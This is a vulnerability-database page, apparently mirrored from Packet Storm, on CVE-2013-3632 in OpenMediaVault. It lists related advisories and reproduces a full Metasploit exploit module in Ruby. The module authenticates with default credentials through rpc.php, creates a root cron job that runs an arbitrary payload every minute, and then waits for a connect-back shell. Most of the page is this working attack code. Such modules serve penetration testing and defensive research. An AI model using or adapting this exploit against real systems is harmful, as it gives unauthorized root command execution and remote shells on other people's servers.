Lucene search
+L

OpenMediaVault Cron Remote Command Execution

🗓️ 30 Oct 2013 00:00:00Reported by Brandon PerryType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

OpenMediaVault Cron Remote Command Execution. Authenticated user can create cron jobs to run arbitrary commands as any user including root

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
OpenMediaVault Cron Remote Command Execution Vulnerability
31 Oct 201300:00
zdt
zdt
zdt
OpenMediaVault rpc.php Authenticated Cron Remote Code Execution Exploit
31 Jul 202400:00
zdt
circl
Circl
CVE-2013-3632
31 Oct 201300:00
circl
checkpoint_advisories
Check Point Advisories
OpenMediaVault Cron Remote Command Execution (CVE-2013-3632)
25 May 201400:00
checkpoint_advisories
cve
CVE
CVE-2013-3632
29 Sep 201422:00
cve
cvelist
Cvelist
CVE-2013-3632
29 Sep 201422:00
cvelist
exploitdb
Exploit DB
OpenMediaVault Cron - Remote Command Execution (Metasploit)
31 Oct 201300:00
exploitdb
metasploit
Metasploit
OpenMediaVault Cron Remote Command Execution
30 Oct 201315:25
metasploit
metasploit
Metasploit
OpenMediaVault rpc.php Authenticated Cron Remote Code Execution
30 Jul 202418:52
metasploit
nvd
NVD
CVE-2013-3632
29 Sep 201422:55
nvd
Rows per page
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'OpenMediaVault Cron Remote Command Execution',  
'Description' => %q{  
OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.  
An attacker can abuse this to run arbitrary commands as any user available on the system (including root).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module  
],  
'References' =>  
[  
['CVE', '2013-3632'],  
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']  
],  
'Privileged' => true,  
'DefaultOptions' => { 'WfsDelay' => 60 },  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet python',  
}  
},  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Targets' => [['Automatic',{}]],  
'DisclosureDate' => 'Oct 30 2013',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),  
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])  
], self.class)  
end  
  
def exploit  
init = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/index.php')  
})  
  
sess = init.get_cookies  
post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"  
  
login = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/rpc.php'),  
'data' => post,  
'ctype' => 'application/json',  
'cookie' => sess  
})  
  
if !login or login.code != 200  
fail_with("Login failed")  
end  
  
sess = login.get_cookies  
post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'  
post << payload.encoded.gsub('"', '\"')  
post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'  
  
resp = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/rpc.php'),  
'data' => post,  
'ctype' => 'application/json',  
'cookie' => sess  
})  
  
if !resp or resp.code != 200  
fail_with("Posting cron failed.")  
end  
  
print_status("Waiting for connect-back, this will take up to a minute")  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation